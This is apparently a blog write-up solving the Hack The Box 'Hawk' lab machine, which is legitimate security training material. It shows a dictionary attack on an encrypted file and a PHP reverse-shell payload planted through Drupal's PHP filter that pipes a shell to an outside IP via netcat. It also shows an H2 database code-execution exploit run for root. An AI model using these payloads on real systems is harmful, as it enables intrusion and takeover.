Hack the Box – Hawk writeup

Recon

From the beginning, all we know is that Hawk is a Linux machine that lives at 10.10.10.102. Lets start by Nmaping the 10.10.10.102 box, which shows a handful of tcp ports open:

# Nmap 7.70 scan initiated Sat Oct 13 10:46:21 2018 as: nmap -vvv --open -oA hawk_10.10.10.102 10.10.10.102
Nmap scan report for 10.10.10.102
Host is up, received echo-reply ttl 63 (0.11s latency).
Scanned at 2018-10-13 10:46:21 EDT for 2s
Not shown: 996 closed ports
Reason: 996 resets
PORT     STATE SERVICE         REASON
21/tcp   open  ftp             syn-ack ttl 63
22/tcp   open  ssh             syn-ack ttl 63
80/tcp   open  http            syn-ack ttl 63
8082/tcp open  blackice-alerts syn-ack ttl 63

The first thing that jumps out at me is that there’s a web server running. Let’s start getting the lay of the land by seeing what’s up with the web server.

Drupal webserver
Found a Drupal login

There’s no content hosted, so it appears to be a (more or less) stock Drupal install. The robots.txt file initially looked interesting but ultimately was a dead-end. I played around with the “Create new account” and the “Request new password” functions and didn’t find anything interesting.

Let’s check out the FTP server hosted on port 21/tcp.

# ftp 10.10.10.102
Connected to 10.10.10.102.
220 (vsFTPd 3.0.3)
Name (10.10.10.102:root): password
530 This FTP server is anonymous only.
Login failed.
ftp>

hmm ok. The FTP server tells us that it only allows the anonymous user to log in.

Snooping around in the FTP Server

Now that we know that the FTP server accepts anonymous logins, let’s log into the FTP server. When we connect this time, we submit “anonymous” as the password:

# ftp 10.10.10.102
Connected to 10.10.10.102.
220 (vsFTPd 3.0.3)
Name (10.10.10.102:root): anonymous
230 Login successful.

After logging in, we find a directory called messages and within it is a hidden file called .drupal.txt.enc:

ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 ftp ftp 4096 Jun 16 22:21 .
drwxr-xr-x 3 ftp ftp 4096 Jun 16 22:14 ..
-rw-r--r-- 1 ftp ftp 240 Jun 16 22:21 .drupal.txt.enc
226 Directory send OK.

This file could be interesting,  so let’s download it:

ftp> get .drupal.txt.enc
local: .drupal.txt.enc remote: .drupal.txt.enc
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for .drupal.txt.enc (240 bytes).
226 Transfer complete.
240 bytes received in 0.00 secs (705.9488 kB/s)
ftp> exit
221 Goodbye.

Reading the file shows a bunch of Base64 encoded text.  This, combined with the .enc file extension makes me think the file is probably encrypted.

# cat drupal.txt.enc
U2FsdGVkX19rWSAG1JNpLTawAmzz/ckaN1oZFZewtIM+e84km3Csja3GADUg2jJb
CmSdwTtr/IIShvTbUd0yQxfe9OuoMxxfNIUN/YPHx+vVw/6eOD+Cc1ftaiNUEiQz
QUf9FyxmCb2fuFoOXGphAMo+Pkc2ChXgLsj4RfgX+P7DkFa8w1ZA9Yj7kR+tyZfy
t4M0qvmWvMhAj3fuuKCCeFoXpYBOacGvUHRGywb4YCk=

Base64 decoding the file shows that it’s a bunch of gibberish– This confirms my suspicion that .drupal.txt.enc contains encrypted content.

base64_decode
Base64 decoding .drupal.txt.enc

The only interesting/helpful clue here is that the file starts with “Salted__” before the encrypted gibberish. Googling this shows that this is OpenSSL’s salted format. We know that the file is symmetrically encrypted with OpenSSL because of this format, but the output doesn’t tell us which ciphers were used or any other helpful info.

Dictionary Attack

Admittedly, I’m not a crypto guy, so finding the pathway forward required more researching and Googling than usual. I eventually found a tool on github called bruteforce-salted-openssl written by glv2. Awesome tool, credit to glv2- check out his github for other bruteforce crypto stuff.

I started by playing around with bruteforce-salted-openssl and found out that it doesn’t accept Base64 encoded text.

#bruteforce-salted-openssl -1 drupal.txt.enc
Error: drupal.txt.enc is not a salted openssl file.

We’ll need to put this file into a format that plays nice with bruteforce-salted-openssl. This means we’ll need to Base64 decode the file’s contents and work with that.

Base64 decode the text in drupal.txt.enc and stuff it into a file called drupal.txt.enc.base64decoded. Next we feed that file to brute-salted-openssl again and see what happens:

# base64 -d drupal.txt.enc >drupal.txt.enc.base64decoded
# bruteforce-salted-openssl -1 -v 1 drupal.txt.enc.base64decoded
Tried / Total passwords: 357299 / 2.21919e+14
Tried passwords per second: 357299.000000
Last tried password: 0U7y
Total space searched: 0.000000%
ETA: Tue 27 Jul 2038 07:11:45 PM EDT

Awesome, so bruteforce-salted-openssl accepted the file and started doing stuff with it. By default bruteforce-salted-openssl will try to blindly bruteforce the password however an ETA of 2038 is not going to work.

bruteforce-salted-openssl has a dictionary attack mode so let’s try that with a wordlist. I used the rockyou.txt list:

# bruteforce-salted-openssl -1 -v 1 -f rockyou.txt drupal.txt.enc.base64decoded
Warning: using dictionary mode, ignoring options -b, -e, -l, -m and -s.

--snip--
Tried passwords: 14344395
Tried passwords per second: 754968.157895
Last tried password: *7¡Vamos!

Password not found

Well that sucks, it didn’t find the password.

I tried other lists and none of them seemed to work. It’s important to note that bruteforce-salted-openssl defaults to using a cipher of aes-256-cbc and a digest of md5.

bruteforce-salted-openssl default cipher and digest values from the help screen
Some of bruteforce-salted-openssl’s default values from the help screen

We have no idea of which cipher and digest combination was used to encrypt the file, so we’ll have to blindly try every combination. There’s probably a more elegant solution than my approach but nevermind that. bruteforce-salted-openssl supports tons of ciphers and digests (too many to name or screenshot here) that we’ll have to try. Check it out by passing brute-salted-openssl the -a flag:

# bruteforce-salted-openssl -a
Available ciphers:
  AES-128-CBC
  AES-128-CBC-HMAC-SHA1
  AES-128-CBC-HMAC-SHA256
  AES-128-CFB
  AES-128-CFB1
  AES-128-CFB8
  AES-128-CTR
  AES-128-ECB
  AES-128-OFB
  AES-128-XTS
  AES-192-CBC
  AES-192-CFB
  AES-192-CFB1
  AES-192-CFB8
  AES-192-CTR
  AES-192-ECB
  AES-192-OFB
  AES-256-CBC
  AES-256-CBC-HMAC-SHA1
  AES-256-CBC-HMAC-SHA256
  AES-256-CFB
  AES-256-CFB1
  AES-256-CFB8
  AES-256-CTR
  AES-256-ECB
  AES-256-OFB
  AES-256-XTS
  AES128 => AES-128-CBC
  AES192 => AES-192-CBC
  AES256 => AES-256-CBC
---snip---

Available digests:
  DSA
  DSA-SHA
  DSA-SHA1 => DSA
  DSA-SHA1-old => DSA-SHA1
  DSS1 => DSA-SHA1
  MD4
  MD5
  RIPEMD160
  RSA-MD4 => MD4
  RSA-MD5 => MD5
---snip---

A quick sidenote on OpenSSL libraries: I installed brute-salted-openssl on two machines and one of them listed significantly more supported ciphers and digests than the other (my stock Kali 2018.4 box lacked the expanded cipher support). One of the brute-salted-openssl dependencies is the OpenSSL libraries–A stock instance of Kali comes with the OpenSSL application already installed (obviously), which does not include the OpenSSL dev libraries (not so obvious). I initially installed the libraries via:

# apt-get install libssl-dev

As it turns out, this is the lesser version of the OpenSSL libraries and you’ll want to install a different version to get the expanded cipher support:

# apt-get install libssl1.0-dev

Afterwards, reinstall brute-salted-openssl and you should see the expanded support when you run bruteforce-salted-openssl -a


I digress- Lets try running through every possible cipher and digest combination with the rockyou.txt wordlist. The easiest way to do this quickly and efficiently is to script out a simple nested loop in bash that will run brute-salted-openssl with every supported cipher and digest combination.  First, write a list of all supported ciphers to a file called ciphers.txt:

bruteforce-salted-openssl -a > ciphers.txt 2>&1

The output of that command (as shown up above) has a few things that we’ll want to fix to make sure it plays nice in our bash one-liner:

  • Remove any lines that look like “AES128 => AES-128-CBC”. These are duplicates. To remove these in vi, type :g/=>/d
  • Remove the list of digests at the end of the file
  • Remove the spaces preceeding the ciphers. To remove these in vi, type :%s/ //g

Next, we need a list of only the digests, so repeat the process for the digests and put the result in digests.txt.  Ciphers.txt should only contain a list of ciphers, digests.txt should only contain a list of digests. Pretty straight-forward.

Now, we use those files in a nested for loop via bash scripting:

for c in $(cat ciphers.txt); do for d in $(cat digests.txt); do echo "####cipher: $c   ####digest: $d"; bruteforce-salted-openssl -v 5 -t 25 -c $c -d $d -f /bobby_tables/wordlists/rockyou.txt drupal.txt.enc.base64decoded; done;done | tee log
  • -v 5     Prints the progress every 5 seconds
  • -t 25     Uses 25 threads
  • -c $c     Variable that holds the current cipher
  • -d $d     Variable that holds the current digest
  • -f /bobby_tables/wordlists/rockyou.txt     Points to the rockyou.txt wordlist for dictionary attack

This nested for loop will iterate over every possible cipher/digest combination and should hopefully hit on a potential password. If it does, we will also know the correct cipher and digest, which we’ll need to actually decrypt the file. Allowing this to run for awhile, we hit on a possible password:

---snip---
####cipher: AES-256-CBC ####digest: SHA256
Warning: using dictionary mode, ignoring options -b, -e, -l, -m and -s.

Tried passwords: 31
Tried passwords per second: inf
Last tried password: carlos

Tried passwords: 13973276
Tried passwords per second: 931551.733333
Last tried password: 0611198522

Password candidate: friends
---snip---

Awesome, we have a possible password now as well as the cipher and digest combination that was used when we got the password hit. We have all of the information needed to decrypt the original drupal.txt.enc file that we downloaded from the FTP server.

Lets decrypt drupal.txt.enc with OpenSSL:

# openssl enc -aes-256-cbc -d -a -md sha256 -in drupal.txt.enc -out drupal.txt.decrypted -k friends
  • enc     command to tell OpenSSL that we want to use the encrypt module
  • -aes-256-cbc    this is the cipher we want to use
  • -d     tells OpenSSL we want to decrypt
  • -a     tells OpenSSL that our input file is Base64 encoded
  • -md sha256     tells OpenSSL to use the SHA-256 digest algorithm. This is OpenSSL’s default digest, so we don’t actually have to specify it. I include it here for clarity
  • -in drupal.txt.enc    points to the input file (the original file we downloaded from the FTP server)
  • -out drupal.txt.decrypted     tells OpenSSL where to write the decrypted text to
  • -k friends     password to decrypt with

Let’s check the output file:

# cat drupal.txt.decrypted
Daniel,

Following the password for the portal:

PencilKeyboardScanner123

Please let us know when the portal is ready.

Kind Regards,

IT department

It worked!

Drupal Webshell

We go back to the Drupal instance at 10.10.10.102 and try the “PencilKeyboardScanner123” password with “admin” and it works- we’re logged into the Drupal instance as admin.

Drupal has a module which can be enabled that will allow a user to copy and paste php into a text box and then execute it on the webserver. This is a terrible idea. I don’t know why this exists but it does.

To get there, navigate to Modules and enable the PHP Filter module, then go into the permissions.

Enable php code execution in drupal
Enable php code execution in drupal

Enable all of “use PHP code text format” permissions and save:

php enable

To use use this “feature” we want to add some content. Navigate to Content > Add content > Article

On this page, we would normally add pages and blog content, but in this case we want to add malicious php code that will sent us a webshell so we can get into the server.

We want to tell Drupal that the content we’re adding is executable php code. To do this, select “PHP code” from the text format dropdown:

phpcode

Now we  can copy and paste our php code into the body of the post and it’ll execute. I added php code to directly send myself a shell:

<?php 
echo exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.73 8080 >/tmp/f');
?>

We start up a netcat  listener on port 8080/tcp of our attacker machine and catch the incoming connection.

# nc -lvp 8080
listening on [any] 8080 ...
10.10.10.102: inverse host lookup failed: Unknown host
connect to [10.10.14.73] from (UNKNOWN) [10.10.10.102] 34604

Upgrade the netcat connection to a full shell:

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@hawk:/var/www/html$

Awesome, we have remote command-line access to web server’s underlying operating system.

Shell access

We can see we are the www-data user. Navigate to /home and we can see that there is another user account called daniel on the machine. Inside of daniel’s home directory, is the user flag. Capture that flag!

www-data@hawk:/home/daniel$ cat user.txt
d5111d4f75370ebd01cdba5b32e202a8

yay! After getting the user flag, I started enumerating the box and looking for anything that seemed out of place or interesting. I ran down several rabbit holes.  For example, I found credentials for Drupal’s backend MySQL database in /var/www/html/sites/default/settings.php:

---snip---
'database' => 'drupal',
'username' => 'drupal',
'password' => 'drupal4hawk',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
---snip---

I dug though the database and didn’t find anything interesting. womp womp. (This wasn’t a total wasted rabbit hole–I would later discover that the drupal4hawk password was also daniel’s password, so we can now ssh into the machine as daniel.)

Pathway to Root

Next, I looked at the current processes running as root for anything interesting and a few things jumped out at me:

www-data@hawk:/var/www/html$ ps aux | grep root
---snip---
root 789 0.0 0.0 4628 804 ? Ss 15:45 0:00 /bin/sh -c /usr/bin/java -jar /opt/h2/bin/h2-1.4.196.jar
root 790 0.1 5.0 2337480 49772 ? Sl 15:45 0:05 /usr/bin/java -jar /opt/h2/bin/h2-1.4.196.jar
---snip---

To be honest, I’m not super familiar with the H2 database. Google tells me it listens on 8082/tcp. Lets confirm that it’s listening for connections:

www-data@hawk:/tmp$ netstat -ano | grep 127.0.0.1
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN off (0.00/0/0)
tcp6 0 0 127.0.0.1:8082 127.0.0.1:50712 ESTABLISHED off (0.00/0/0)

Awesome, it’s listening on port 8082/tcp on localhost just like Google said it would be. We can try to connect to the console but first, let’s see if there’s any exploits available for this thing.

I searched through exploit DB and found a few interesting things.

exploits

I did some research into the exploits and the remote code execution looks promising. Its unlikely to crash the machine because its taking advantage of some logic weaknesses, as opposed to manipulating memory or doing other things that can be more risky. Lets give that a try.

Lets transfer the exploit to the victim. On the attacker machine, we set up a netcat listener that will send our exploit code, 45506.py, to any host connecting to our attacker machine on port 5555.

# nc -lvp 5555 < 45506.py
listening on [any] 5555 ...

On the victim 10.10.10.102 box, we connect to our attacker, machine which automatically downloads the malicious code to the 10.10.10.102 victim host and writes it into a file called 45506_exploit.py.

www-data@hawk:/tmp$ nc 10.10.14.73 5555 > 45506_exploit.py
nc 10.10.14.73 5555 > 45506_exploit.py

Lets run the exploit and tell it to target port 8082/tcp on localhost:

www-data@hawk:/tmp$ python3 45506_exploit.py -H 127.0.01:8082
python3 45506_exploit.py -H 127.0.01:8082
[*] Attempting to create database
[+] Created database and logged in
[*] Sending stage 1
[+] Shell succeeded - ^c or quit to exit
h2-shell$ whoami
root

Now we’re root! Goto root’s home directory and capture that flag!

h2-shell$ cat /root/root.txt
54f3e840fe5564b42a8320fd2b608ba0

Win!

I definitely learned a few things on this box. I’m not a huge crypto person so I definitely ran down more than a few rabbit holes with the crypto stuff, which was my favorite on this machine. The Drupal php webshell stuff was fun to play with. Overall, this box isn’t super difficult but mildly challenging in a few key parts and definitively achievable.
There is another way to root this box by connecting to the web based H2 database console and executing some code there. That exploit path was discovered by Matheus Bernardes, awesome work by that dude.

Other htb writeups for this box can be found on github.

 

 

Leave a comment